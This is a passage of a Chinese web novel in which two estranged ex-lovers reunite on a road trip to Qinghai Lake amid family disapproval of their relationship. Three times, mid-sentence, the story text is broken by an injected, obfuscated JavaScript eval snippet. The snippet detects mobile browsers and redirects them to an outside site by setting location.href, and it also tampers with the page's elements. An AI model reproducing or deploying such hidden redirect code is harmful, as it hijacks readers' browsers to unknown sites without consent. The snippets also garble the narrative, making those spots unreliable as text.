这个盛屹白,路柯总觉得,他们关系没那么简单。 “路柯。” 突然靳越寒叫了他一声,指着前面架着的手机:“你的电话响了。” 瞥见来电人是自己妈妈,路柯顿了顿,“帮我挂一下,别接。” 靳越寒没多问,小心地帮他挂了电话。 自从昨晚路柯的手机开机后,他的电话基本没断过,今天早上靳越寒无意间听到路柯在和他妈妈吵架。 吵架的内容无非是路柯离开家的理由。 电话那头的女人声音尖锐:“路柯!你不能这样逃避不负责任,遇到问题就跑,你这样要我们怎么办?” “我没跑,是你们不让我回家。”路柯叹了口气,“而且我说过了,我只是趁此机会出来学习摄影。” “学习摄影?!有什么用,你一会儿一个主意,就不能安分点,踏踏实实干回以前的工作吗?这很难吗!” “我还年轻,我想多尝试不行吗。” “尝试?路柯,你不是小孩子了,你都二十五了,再这样下去你只会一事无成,你会后悔的知道吗!” 路柯的耐心被一点点消磨,电话那头的人还在说:“你能不能像你哥一样稳定点,那么多年他不是也熬出头了吗。” “不行,你现在就给我回来,同性恋什么的都是错觉,你就是没遇上喜欢的女孩子。我和你爸可以原谅你这一次,你还小得听我们说的……” “妈!”路柯难以置信:“现在说我小了,刚才呢?” “路柯!你一定要这样让妈妈伤心吗,我难道不是为了你好?” “对不起。” “别跟我说什么对不起,我告诉你路柯,我跟你爸不同意你学摄影,更不会同意你搞什么同性恋,你不要指望这么拖着我们就会同意,你最好现在就给我回来……” 长达十分钟的电话,满是尖锐的斥责和反对。 路柯挂了电话后,耷拉着肩膀,整个人看起来很疲惫。 靳越寒想起那时明明上一秒还在颓丧的路柯,却在看见自己的那一刻换上了一张轻松的笑脸。 伪装自己的脆弱,原来每个人都会。 就像他不想让别人知晓自己的狼狈和不堪一样,路柯也不会想,所以靳越寒假装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484817|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己没听见,假装自己不知道。 他站在一个刚好的位置,保持边界感的同时又不会显得冷漠。 不被理解、不被支持的感觉,他也曾感同身受过。 他清楚的记得自己被迫出柜那年,姑姑和姑父眼里的诧异、不解甚至是嫌恶。 姑姑那句:“靳越寒,你是不是疯了?” 姑父指着他的鼻子骂:“你这样,是想让我们以后在外面都抬不起头吗?” 无数的指责和谩骂袭来,如坠深渊,头皮发麻,四肢冰凉,一瞬间像是天塌了一般。 他的眼前一片漆黑,被困在那片暗无天日的废墟里好多年。 以至于现在偶尔想起时,还是会感到害怕。 而那些没有得到过的理解和支持,迟到多年才出现时,都已经不重要了。 逐渐逼近青海湖时,炙热的阳光烤得方向盘发烫,道路两侧有硫磺色的花田,还有染上秋意接近枯黄的草甸。 上车后,徐澈无心顾及外面,视线常常落在盛屹白脸上,一副打量和探究的眼神。 盛屹白被看的没了脾气,让他有话就说,别跟做贼一样。 徐澈清了清嗓子,迫不及待开口:“你和靳越寒,真的是朋友?” 盛屹白皱着眉头,表示不解。 “就是感觉不对劲,你们俩都不对劲,但又说不上来哪里不对劲。” 见他扶着额头思考不出个所以然来,盛屹白直接说:“没什么不对劲,我们是朋友,只不过是很久以前的事了。” 徐澈眉心一跳,“那现在呢?” “现在……就那样呗。” “什、什么意思?”徐澈睁大眼睛,“有故事?” “什么故事。”盛屹白冷笑了声,调侃他:“想象力这么丰富,怎么不去当编……” 他瞬间止住了声,没再继续说话。 徐澈感到奇怪,一脸意犹未尽,“怎么话说一半突然不说了,为什么现在什么都不是了?” “没什么。” 回想起过往,盛屹白看起来异常平静,仿佛在陈述别人的事。 “我们以前当了十年的朋友,后来他出国了,我们没再见过面。” 徐澈我靠了一声,一脸惊讶:“十年朋友!你们是发小?” 盛屹白没说话,徐澈当他是默认了。 “这发小感情可不是一般的深啊,怎么一直没听你说过。” “你也没问。” “这……”徐澈微眯着眼,感到疑惑:“怎么你们俩看着像不熟,刚见面时话都不说一句,哪像是发小。” 路上有缓慢穿过公路的牦牛,盛屹白慢慢把车停下,回了句:“太久没见了,不知道说什么。” 这副说辞和刚才在面馆一模一样。 徐澈给他举例:“好久不见,别来无恙,你过得好吗,有没有经常想起我,这些都可以说。” “没必要。” “没必要?你们又不是有仇,为什么没必要。”徐澈嘴比脑子快:“除非你们是旧情人。” “旧情人”这三个字说出口,车上两个人都沉默了。 盛屹白这么多年没对象,拒绝相亲,没见他喜欢过哪个男人或者女人,徐澈还以为他要出家。 可如果是忘不掉旧情人的话,一切都说得通了,但盛屹白是gay,这事又有点扯。 盛屹白侧过脸,目光微沉,却只是轻描淡写一句。 “不是,什么都不是。” 他和靳越寒,什么关系都不是了。 7. 萍水相逢 盛屹白撇得干净,一副不愿多说的模样。 见他这样,徐澈也没再问这件事,省得说错了话。 等到牦牛全部通过,盛屹白握紧方向盘,猛踩油门加了速,车一下跑出老远距离。 徐澈被这动静吓得一激灵,老老实实握紧安全带不敢乱动,话都不敢多说一句,生怕下一秒盛屹白一个不高兴把车开到湖里去。 又热又惊,他额头出了一层汗,从车里翻出一包Tempo的纸巾。 “这纸怎么这么香,你买的?” 盛屹白看了眼那包纸,“不是,我妈放车上的。” 出发前,他妈给他准备了很多必需品,总喜欢忙上忙下,用他姐姐盛屹希的话来说就是闲不住。 忙活了大半辈子的人,到了退休的年纪就会把全部精力都放在家庭和孩子身上。 徐澈噢了一声,“猜到了,真是羡慕你啊,有个这么温柔体贴的妈妈。” 盛屹白只是笑笑,没再说话。 当G109国道在草原上劈开笔直的通道,青海湖来得猝不及防。 起初是天地缝合处的釉色细缝,随着车轮飞驰迅速漫溢、吞噬视野,最终那片蓝占据了视野的全部。 一道生锈的铁丝网短暂划界,网外是牧民圈地的枯草场,网内却是蓝到失真的青海湖水。 抵达青海湖二郎剑景区,他们把车停在偌大的景区停车场,午后的阳光慷慨,将沥青地面蒸腾出隐约热浪。 一下车,高原特有的、带点清冽草香的空气瞬间涌入鼻腔,阳光毫无遮拦打在脸上,炙热感强烈。 靳越寒戴好遮阳帽和墨镜,跟着路柯往售票处走。盛屹白和徐澈比他们先到,早早就在售票处等着。 他们一人买了一张门票,穿过入口处的闸机,一条宽敞笔直的步道直通那片蔚蓝的海域。 盛屹白走在前面,问他们:“要走着去,还是坐观光车?” 徐澈提议:“都坐一路车了,走走呗。” 路柯说自己都可以。 靳越寒也点头说可以,目光落在盛屹白身上,听见他说了句行。 走着走着,路柯注意到靳越寒的帽子太小,脖子被太阳晒着,问靳越寒要不要跟他换个帽子戴。 “没关系,不用换。” “还是换吧,你这么白被晒黑了怪可惜的。” 说着路柯就把帽子摘下来,当着大家的面跟靳越寒换了个帽子。 徐澈在一旁笑了,“你俩关系还怪好的。” 他看见盛屹白那帽子也没自己的大,就问:“要不要我的也给你戴?” 盛屹白滑下墨镜,一副看傻子的眼神看着他。 徐澈读懂了他的意思,这是在问候他的身体,关心他是不是有病。 他哈哈笑了几声,招呼着大家往前走。 道路两旁是广袤的草场,牧草染上大片金棕和暖黄,去往诗歌广场的路上,来来往往皆是匆匆喜色的旅人。 靳越寒跟在盛屹白身后,踩着那道影子往前走,盛屹白每停一下他也跟着停,他换方向自己也跟着换。 他像个人形挂件,悄无声息挂在自己想要跟的人身上。 直到快要走到码头位置,盛屹白突然转过身,问他:“你跟着我干什么?” 靳越寒呼吸一滞,忙解释说自己没有,“大家都是走这条路的。” 盛屹白没说话,歪了下头,就这么盯着靳越寒,还有他那顶帽子。 确实比较大,刚好遮住所有阳光。 靳越寒后撤一小步,往左右看时,身边哪还有路柯和徐澈的影子,那俩人早已跑到了前面的观景台。 而面前的盛屹白冷着一张脸,看起来并不喜欢被跟着。 靳越寒局促地把手攥在一起,抿紧嘴唇,额头不知道是热还是紧张,出了一层薄汗。 这些举动落在盛屹白眼里,让他喉间一紧,原本想说的重话也拐了个弯。 “去找路柯,你不是跟他关系好吗,别跟着我。” “……我找不到他在哪,人太多了。” 说着靳越寒仰起头往前面看,确实没找到路柯的身影。 两个人互相看了一会儿,最后盛屹白什么也没说,自顾自继续往前走。 靳越寒站在原地,踌躇着要不要跟上去。 刚才盛屹白说别跟着他,语气冷冰冰的,他现在不喜欢自己跟着了。 意识到自己现在的行为极其不合适,甚至会让盛屹白感到厌烦,于是靳越寒忍住想要追上去的冲动,保持着距离,不要靠近盛屹白。 可一个人走往观景台的路上,不管是纯粹钴蓝到令人心颤的湖水,还是低空盘旋发出鸣叫的鸥鸟,靳越寒都提不起兴致了。 他的注意力从来没有从盛屹白身上移开过。 所以,当盛屹白再次出现在他面前时,他才惊觉,原来青海湖这么美。 那片浩瀚无垠的蔚蓝,就这样毫无保留地、震撼地呈现在了他的眼前。 湖的尽头与天空浑然一体,那抹深邃的靛蓝,向上无限延伸,与同样纯净无暇的钴蓝天幕无缝交融。 水天一色不再是一个形容词,而是眼前活生生的现实,是一种令人眩晕的、失去方向感的辽阔。 下午两点的阳光毫无保留倾泻在湖面上,万点碎金形成一条耀眼光路,从水天相接处一直铺展到脚下。 湖水清澈得不可思议,近岸处就能看到水底圆润的鹅卵石和水草摇曳的暗影。风推着波浪,一层层涌向岸边,成群的鸥鸟盘旋在观景台上,等待着旅人的投喂。 这里的空气是清透而冰冷的,阳光的热度与风的冷冽形成奇妙对比。 天空蓝得醉人,湖水蓝得深邃,金黄的草场铺展延伸,五彩的经幡在风中舞动…… 站定的那一刻,靳越寒望着面前不远处的盛屹白,突然惊讶人生怎么可以这样美好。 能和盛屹白一起在这里,共同见证这场惊心动魄的蓝,竟觉得那么满足。 这就是段暄说的那种治愈吗? 他感到一阵短暂的、前所未有的悸动,想要留下什么的冲动。 “靳越寒。” 盛屹白隔着几个人喊了他的名字,站在前面像是等着他。 害怕他真的走了,靳越寒踮起脚挥手回应,匆忙穿过人群挤到盛屹白面前。 “我、我以为你先走了……” 盛屹白手插着兜,半张脸被阳光照着,反问道:“我先走了又怎样?” 靳越寒被这话噎了下,一时答不上来。 没等他回应,盛屹白已经迈步往前面走了,影子被太阳光拉长,斜斜地落在草地上。 靳越寒安静地跟在他身边,不说一句话,像曾经无数个一起走过的岁月一样。 只要盛屹白没冷着脸让他走,那就可以跟。 他们心照不宣的像以前那样,并肩走过观景台,偶尔停下驻足片刻。 突然盛屹白转过头,提醒他:“别靠这么近。” 靳越寒心道明明隔了半米距离,哪里算近。他垂着脑袋往旁边挪了一步,又很快仰着脸问:“这样呢?” “可以。” 找好合适的位置,靳越寒却没再像周围其他游客一样继续看湖看景。他的目光尽数落在盛屹白身上,不知不觉看走了神。 察觉到他的目光,盛屹白摘下墨镜,眼睛微眯,问他:“看够了没?” 靳越寒这才觉得不好意思,把头低下。 他们站在观景台中间,不断有挤上前拍照的人,加上他们中间的空隙偏大,靳越寒少不了被人撞到。 一来二去的,他们被挤得越来越近。 靳越寒一副“我也很无奈我也没办法”的表情看着盛屹白,希望他可以体谅一下这个人潮汹涌的景区。 模糊间他像是看见盛屹白笑了,嘴角刚刚弯起,又很快变回一条平直的线。 靳越寒眨眨眼,以为自己看错了,毕竟这里的阳光太过耀眼明媚。 想起出发前徐澈说的话,他犹豫好一会儿才开口问:“徐澈说你来过这里很多次,是……因为我吗?” 他以为盛屹白还记得当年那个约定。 “不是。”身旁的人就这样否认了。 靳越寒慌了神,指尖攥紧,比想象中更紧张:“那是不是像他说的那样,真的有什么想见的人……” 除了他之外,其他想见的人。 盛屹白侧过脸,眉头微蹙:“跟你有关系吗?” 靳越寒这下更慌乱了,“我只是喜欢来这里旅游而已,无关任何人,下次说不定就会去别的地方。” 盛屹白整个人都很冷静,不慌不忙反问他:“你很在乎我为什么来这?” 靳越寒眼角泛红,声音低哑地承认:“我在乎,非常在乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484818|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我……一直记得当初那个约定。” 盛屹白的姐姐盛屹希,在大学毕业那年来了场毕业旅行,跨越大半个中国去了一趟西北,又一路往南走。 当时的他们还在一起,靳越寒看着盛屹希发来的旅游视频,随口说了句:“我们也去趟西北吧,离家也不算太远。” 那天盛屹白只是嗯了一声,不知道有没有听进去。 靳越寒却在后来发现了他偷偷存的一笔钱,计划着期末周结束他们一起去西北旅游。 他们说好要一起去,可还没等到学校放假,他们就已经先分隔两地了。 不管过去多少年,靳越寒始终认为这是个遗憾,所以现在才会这么在乎盛屹白为什么来这里。 湖边的风骤然变冷,化作刀刃一寸寸割在他们身上,可这尖锐的痛感,竟成了现在唯一的知觉。 靳越寒不知道自己站了多久,手已经冻得没了知觉,只听见盛屹白说:“没必要,这样就不对了。” 盛屹白嘴角扯出一抹苦笑,像是在问靳越寒,又更像是在问自己。 “你觉得,我们还有重新开始的可能吗?” 靳越寒喉间泛起一阵苦涩,他不知道,八年前没有,现在就会有吗。 盛屹白的话又狠又决绝:“靳越寒,我们只当现在是萍水相逢,就这么过去吧。” “萍水相逢么……” 靳越寒有些难以置信,心里像扎了根刺,疼到无法呼吸。 他实在做不到萍水相逢,可又清楚的知道他们不可能重新开始。 他没有忘记当年的事,没有忘记他们到底是因为什么而分开,他现在甚至不敢问起盛屹白的家人。 重新开始这件事,不存在于他们之间。 盛屹白说的没错,他这样确实不对,不应该因为一时的重逢上头就得意忘形了。 靳越寒抬手往脸上胡乱擦了下,声音哽咽:“你放心,我不会越界,我知道我们早就没可能了,不会再像今天这样了……” 他尽力收住自己的眼泪,可委屈和伤心啊,还是不停地往外冒。 呼啸的风声里,他像是听见盛屹白叫了他,又被一道更大的喊声盖过。 “靳越寒!你们怎么还在这!” 路柯的声音由远及近,一路飘到靳越寒面前。 他见靳越寒低着头,忙问道:“怎么了,不说话?” 靳越寒摇头说没事,“这里风太大了,睁不开眼。” 徐澈跟在后面走来,“是啊,刚才还觉得太阳晒,怎么一下就那么冷了。” 他往手臂上狠狠搓了下,挤到盛屹白面前,“两个人在这聊什么呢,喊半天了都听不见。” 盛屹白说:“人太多了,没听见。” 越到下午人越多,大多数人都是奔着日落而来。 路柯和徐澈拍够了素材,就说换个人少的地方玩,徐澈说:“你们两个跟紧点,别又找不着人。” 沿着栈道一直走到码头,可以买船票去半岛,登岛景色更佳。 盛屹白走在前面,问他们要不要坐船。 路柯和徐澈纷纷摇头说不要,“晕船,年纪大了,身体遭不住。” 知道靳越寒也晕船,他本来没想问,却还是多余问了句:“你呢?” 靳越寒耷拉着嘴角,说了一个字:“晕。” 说完看也不看他一眼,低着脑袋去看路柯相机里的照片。 盛屹白愣了愣,似乎记忆里,靳越寒一直都是这样,不高兴了就只说一个字。 他收回目光,带着他们经过卧佛和白塔,到了一个水上游乐设施很多的地方。 穿过花廊,那边有个观景台,不同于刚才的是,这里有了浅露的沙滩,泡沫桥上还可以打卡。 这一路走来,靳越寒都没再跟着盛屹白,两个人的距离是四个人中最远的。偶尔盛屹白停下来回头看时,会发现靳越寒一个人走在后面没有跟上来。 昨天到现在,靳越寒总一副游离在外的样子,比起不合群,他更像是自己把自己封闭起来,沉默寡言,不爱说话。 虽然以前的靳越寒也很内敛,但比现在要开朗,不会像现在,那么的不安和迷茫。 盛屹白慢慢停下来,冲着满眼都是沙滩的徐澈和路柯说:“你们先过去吧。” 他的目光落在后面的人身上。 “我在这,等一会儿。” 8. 嘴硬心软 靳越寒的手机一路震个没停,他停在阴凉处,看清是姑姑打来的电话。 对方像是不知疲倦,一个接着一个。 靳越寒感到一阵心累,麻木地接起了电话。 靳霜的声音带点急切,又有点歉意:“小寒,打扰到你了吗?你一直不接电话,我以为出什么事了。” “没有,怎么了?”靳越寒背过身摸起一片树叶。 “我看见你房间的药还在,是不是没带?这样不吃药会不会有什么影响?” 靳越寒稍不留心把叶子摘了下来,握在手里,说不会,他已经不用吃药了。 或者说他已经很长一段时间没有吃药了,他那么想要好起来当一个正常人,只有姑姑还觉得他有病。 电话那头沉默着,靳越寒正准备挂电话,身后突然响起一道熟悉的声音。 “靳越寒,你怎么不……” 靳越寒呼吸一滞,急忙转过身指着自己的手机,盛屹白才收声,没上前。 “这个声音怎么……” 靳霜的语气比起简单的询问,更像是质问:“你现在跟谁在一起?到哪了?刚才叫你的人是谁?我怎么听声音这么耳熟?” 手里的叶子已经被捏碎,靳越寒解释的话还没来得及说出口,靳霜的话让他后背一凉。 “是不是盛屹白?” 这三个字从靳霜口中说出,一瞬间,靳越寒仿佛被寒冷所笼罩,整个人不自觉发着抖。 “不、不是。” 他的声线抖动,又重复了一遍:“不是他……” “不是他?”靳霜像是不信,“可我怎么好像听到了他的声音,刚刚叫你的人是谁?你现在到底跟谁在一起?” 靳越寒不知怎么脑子越来越晕,他尽力让自己保持冷静,解释:“是和我同行的人,可能声音像,总之不是他。” 靳霜的疑心病太重,她不相信靳越寒说的,更相信自己的判断,那么多年,她不可能听错盛屹白的声音。 她声音逐渐变得尖锐,一遍遍质问:“你跟姑姑说实话,你去西北是不是去见盛屹白的!你们是不是还有联系!那么多年,你怎么就……” 离得太近,靳越寒突然一阵耳鸣,脑子嗡嗡响,所有的解释都显得苍白无力。 短短几秒内他的脑子像疯狂搅动的机器,持续不断发出故障的呜鸣声。他没听清靳霜还说了什么,匆忙挂掉电话后,才发现自己手心全是冷汗。 浑身止不住的颤抖,是冷,还是怕。 要是姑姑发现他现在和盛屹白在一起,他不敢想会怎么样。 是会像疯了一样质问他,你们怎么又在一起,还是像曾经那样,不顾一切也要把他送走。 靳越寒摇摇头,整个世界在他眼前剧烈地摇晃、倾斜,浑身像被抽干了力气难以站稳。 他尽力睁开眼,恍惚间看见一个人影朝自己奔来,扶住了他。 盛屹白一遍遍喊他的名字,“靳越寒!靳越寒!你怎么了?” “盛屹白……” 靳越寒有过一瞬间的错觉,以为面前的盛屹白又是幻觉,但那人回应了他。 “我在。” 盛屹白一向冷静的脸色慌张起来,“你是不是不舒服?” 靳越寒唇色惨白:“嗯……我不舒服。” 盛屹白抓紧他的手,发现他手指冰凉,浑身都在发抖。 “还能走吗?” 靳越寒摇头,很快盛屹白弯下身子,让他上来,背着他到了码头休息区坐着。 确认靳越寒的呼吸正常,不是缺氧症状后,盛屹白很快猜测他可能是低血糖。高中时靳越寒经常忘记吃早饭犯低血糖,症状比现在还严重。 附近有便利店,盛屹白弯下身子,叮嘱他:“你在这等我,我很快回来。” 靳越寒呆呆点头,不知道有没有听进去。 盛屹白跑到便利店,拿了一罐可乐、一瓶水和两包糖,结账时往回看了好几眼,确认靳越寒还在原位后又急忙往回赶。 喝下半罐可乐又含了几颗糖,几分钟后靳越寒的症状缓解了不少,思绪开始回笼,身体渐渐回温。 “现在怎么样?”盛屹白问。 靳越寒:“好多了,就是……” “什么?” “太甜了,牙有点疼。” 靳越寒已经好多年不吃糖了,更何况是这几颗甜度极高的水果糖,甜得牙根发软。 盛屹白像是一早就知道,顺手拧开瓶盖把刚才买的水递给他,“喝点。” 靳越寒连眨了好几下眼,感到很意外,说了声谢谢,接过水小口喝了起来。 喝完水,他偷偷瞟了几眼坐在身旁的盛屹白。仔细观察能发现他额头有汗,刚才眼神里还满是对自己的担忧。 是替他着急了吗。 刚才脑子不清醒忽略了很多细节,但靳越寒清楚的记得,盛屹白的手很温暖。 “还有没有哪不舒服?”盛屹白问。 “没有了。” 靳越寒的视线落在盛屹白垂在两条大长腿中间的手上,他的手指骨节分明,指腹隐隐有些粗砺,手掌宽大又温暖。 好想再摸一次。 突然盛屹白起身,说:“你在这休息一下,我去联系路柯他们过来。” “嗯?”靳越寒很快回过神来,急忙应了声好,看着盛屹白的背影好一会儿才收回目光。 几分钟后,靳越寒看见群聊上多了条信息。 盛屹白让他们俩快点过来,还拍了张周边的照片。 【路柯:收到】 【徐澈:快撤回!搞得跟工作群一样,看到这两个字我真要晕了TAT】 路柯撤回了那条消息,发了个大笑的表情,还@靳越寒:等着,我们马上回来。 没一会儿,界面显示,路柯把原来的群名改成了四个emoji。 分别是雪花,白云,小鹿,赛车。 刚开始靳越寒还没明白是什么意思,明白过来后,他不自觉笑了笑,嘴角还没来得及收,抬起脸就看见盛屹白站在了他面前。 这个笑容不算灿烂,却别样可爱,嘴角扬起小小的弧度,脸颊恰到好处的肉,以及靳越寒那双清亮乌黑的眼睛。 当光芒来临,迷雾散去,他的眼睛原来可以装下这么多东西。 除了来不及收敛的笑意,此刻还有数不清的、对盛屹白无法藏匿的眷恋和爱意。 被看的人心头一颤,一时间忘了自己要做什么,傻傻站在原地。 回过神后,盛屹白轻咳了一声,假装无事发生坐在一旁。 “他们大概五分钟后过来。” “好。” 靳越寒收回目光,静静坐着。 “你现在想不想吃点什么,晚饭估计没这么快。” 过了好一会儿没听见回答,盛屹白侧过身,没想到靳越寒就这么直直地看着他。 “你很关心我。” 不是疑问句,而是陈述句,在陈述一个事实。 盛屹白:“……” 不知道靳越寒哪得出来的结论,盛屹白微微侧脸,等着他说。 “要是不关心我,就不会那么着急去给我买糖,也不会急的……”靳越寒越说越小声,悄悄看了眼盛屹白额前已经干了的碎发。 “还有,刚刚问我想吃什么。” 他的声音不大,语气也没有咄咄逼人的态势,但一字一句都像是铁证如山,让人没有反驳的余地。 盛屹白低了下头,嘴角扯出一个无奈的笑,“那我总不能见死不救吧。” “什么见死不救……”靳越寒小声嘟囔了句:“承认关心没这么难。” “你说什么?” “没什么。” 靳越寒把头撇开,装作自己很忙的样子捣鼓手机。 盛屹白这个人就是嘴硬心软,从小就这样,他都知道。小时候还说过不喜欢跟他玩,但每天放学都会在校门口等着他一起回家。 盛屹白现在就是很关心他。 可为什么又要说那些伤人的话,什么萍水相逢,就这么过去吧,一点机会都不给他。 把他推的好远,好远。 靳越寒垂着脑袋,发现自己其实一点都不了解盛屹白,不了解现在的盛屹白。 路柯和徐澈过来时,盛屹白已经站起身,大致说了下靳越寒的情况。 “低血糖?”路柯见靳越寒脸色不太好,“也是,中午面都没吃多少,又走了这么久的路。” 徐澈把手放在靳越寒面前晃了晃,“现在还晕不?” 靳越寒摇头:“不晕,已经没事了。” “那可说不准,找找附近有什么医院卫生站之类的,带你去看看吧。” “不用,太麻烦了,我真的已经没事了。” 他本来想说自己以前经常这样,不是什么大事,看了眼盛屹白,又什么都没说出口。 听到他不想去医院,路柯干脆道:“那我们就不玩了,先找地方吃饭休息吧。” 靳越寒急忙道:“不是还有日落,日落还没看。” 来的路上,路柯一直说想看看青海湖的日落。 路柯笑着说没事,以后还有机会,吃饭要紧。 徐澈:“是啊,日落以后有的是机会看,明天我们不是要去茶卡盐湖吗,那里的黄昏也很好看。” 他问盛屹白:“是吧,茶卡盐湖不比这差?” 盛屹白轻点头,“各有特色吧。” 茶卡盐湖的湖面像镜子一般倒映着天空,行走其中,每一步都像踩在云朵之上,如梦似幻,因此被称作“天空之镜”。 但只有天气好的时候好看,遇到坏天气只能另当别论了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484819|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们一边说着在网上看到的茶卡盐湖有多美,一边又在讨论等下去哪吃饭。 今晚住的酒店还没订,靳越寒本想说他来定,毕竟来之前他做了一大堆攻略。 盛屹白勾勾手,拿过靳越寒的手机看了眼他原本要订的酒店,采光不好,环境一般,说不行。 “啊?”靳越寒默默接过手机:“那我再看看其他的。” “不用。”盛屹白直接问他:“你想不想住度假客栈,可以看见湖边景色的那种?” 他上次来的时候住过一家,当时就觉得会是靳越寒喜欢的风格。 靳越寒看过酒店的照片后,连连点头说可以。他没想到现在这样的淡季,景区附近的酒店价格比想象中便宜。 比起昨天住的小酒店,他更喜欢这样光线充足,视野开阔的地方。 以前还在榆阳住的时候,他的房间不算小,但采光不好,推开窗户外面就是一棵大香樟树,完完全全挡住了后面的风景。 所以他更喜欢去盛屹白的房间待着,可以看见附近的溪湖、晚霞、甚至是第二天的日出。 “怎么不问问我们,我们也要住的。” 徐澈控诉盛屹白,盯向盛屹白的眼神像是写着“被我抓到了”这几个字,隐隐透露着一丝玩味和猜测。 盛屹白大大方方把手机扔给他看,“挑一间吧。” 徐澈和路柯精挑细选一番,最后选了两间高级双人房。订好了今晚住的地方,徐澈又找了家牦牛肉火锅店,问他们行不行。 这家青海藏式牦牛肉火锅离住的酒店不远,又是附近具有浓郁藏族文化氛围和地域特色的一家店,评分较高,所以大家一致举手表决通过。 因为自己身体不舒服而耽误了大家游玩的时间,靳越寒越想越觉得不好意思。 他提议说:“今晚我请吃饭吧,不然……总觉得过意不去。” 大家反应过来他是哪里过意不去后,路柯让他别这样。 “一起旅游本来就应该互相体谅,更何况谁都有状态不佳的时候,你这样的话,下次谁身体不舒服,岂不是也要请客吃饭了。” “是啊。”徐澈笑得爽朗,“昨天的饭就是你们请客的,今晚又让你请,我跟盛屹白才应该过意不去了。” 是这样吗,靳越寒下意识望向盛屹白,看见他点了点头。 原来是这样。 靳越寒想,自己在人情世故方面还应该多学学,不然总显得笨拙,平白给大家添麻烦。 他站起身,姿势和语气略显正经,和他们说谢谢。 路柯搭着他的肩,“谢什么,都是朋友,应该的。” 徐澈笑了笑,“对啊,大家都是朋友,说什么谢不谢的。” 听到“朋友”这个词,靳越寒目光一顿,胸腔涌起一阵难言的情绪,闷闷的。 这几年里,他以为自己早已经没有朋友了,没想到他们会说大家都是朋友,这个“大家”里面,也包括他。 一瞬间,鼻腔泛起酸涩。 他看向盛屹白,对方只是静静地看着他,原本冷峻的眉眼在此刻变得柔和,比身后静淌的湖水还要温柔。 那这个“大家”里面,也包括盛屹白吗,盛屹白想跟他重新做回朋友吗。 做回朋友的话,那想不想跟他重新在一起。 靳越寒反省自己这样会不会太贪心了,可是他想贪心一点。盛屹白是最好的朋友,更是最好的恋人。 他不愿只做其中一个,他要两个都选。 他要当盛屹白最好的朋友,还要当他唯一的恋人。 这样的念头一旦产生,就如潮水般汹涌,大到靳越寒被吓了一跳,他对盛屹白的欲望竟如此强烈。 这样,对吗? “靳越寒。” 靳越寒回过神,盛屹白站在他面前,“发什么呆,走了。” 徐澈和路柯背着包走在前面,徐澈回头朝他们俩招手,“诶?你们怎么又没跟上,快点来!” 盛屹白应了句来了,转过身问靳越寒能不能走。 “能。” 盛屹白沉默着点头,走在了前面。 他的步子大而稳,并不急促,只是走着。身后投下欣长的影子,宛如一条墨色铺就的路径,一直延伸到靳越寒的脚边。 靳越寒垂着头,视线胶着在地上那道影子上。他的脚步滞涩着,那道影子就离他越来越近,仿佛在特意等待。 迟疑和犹豫横亘在靳越寒心间,不知道要不要走上去。 时间悄然流逝,青海湖面染上了一道金色,他们渐渐远离湖边,而他和盛屹白之间的距离只有几步之遥。 抓住时机,靳越寒一个大步跨上去,和盛屹白并肩着。 身旁的人轻轻侧目,微风吹起他的头发,靳越寒忽而笑了。 光是这样并肩走在一起,就已经很满足了。 9. 旧的合照 离开青海湖前,他们途经一块可以打卡的灰白色巨石,上面用红漆写着:青海湖海拔3196米。 路柯把相机重新打开,提议:“我们在这合张影吧。” “四个人都要上镜,谁来拍?”徐澈问。 “这还不简单。” 靳越寒站在一侧,看着路柯搭讪一位路过的阿姨。不过一会儿的功夫,路柯就跟阿姨聊得喜笑颜开。 阿姨笑得合不拢嘴:“好嘛好嘛,我来给你们拍,这小帅哥,这么会说话。” 路柯教会阿姨怎么摁快门后,走回石头旁时,徐澈冲他抬抬下巴:“我才发现你这长相蛮讨阿姨们喜欢的。” 他又看向靳越寒,“哦对,还有靳越寒,简直是姨的‘杀手’。” 靳越寒属于眉清目秀的长相,五官轮廓柔和,皮肤很白,笑起来眉眼弯弯,一看就是个乖孩子,很讨人喜欢。 被突然点名,靳越寒反应了几秒,声音细微哽咽:“……什么杀手?” “我说你这个长相蛮讨阿姨喜欢的,姨的‘杀手’。像我跟盛屹白肯定就不行,长得严肃了。” 原来是这个,靳越寒摇摇头,说没有。 他属于敏感内敛的性格,不像路柯那样开朗会说话,这几年里习惯了一个人,跟陌生人相处时总是会显得无措。 反倒是盛屹白才是最讨人喜欢的那个,从小到大,因为他学习好又聪明,还很礼貌懂事,经常是被家长、老师、同学所称赞、簇拥、艳羡的对象。 虽然他看起来骄傲冷淡,不太好相处。 除此之外,他还有个幸福美满的家庭。 靳越寒最羡慕、最向往的人,一开始就是盛屹白。 “那两个穿黑色衣服的小帅哥,站近点,阿姨这里要拍不到了。” 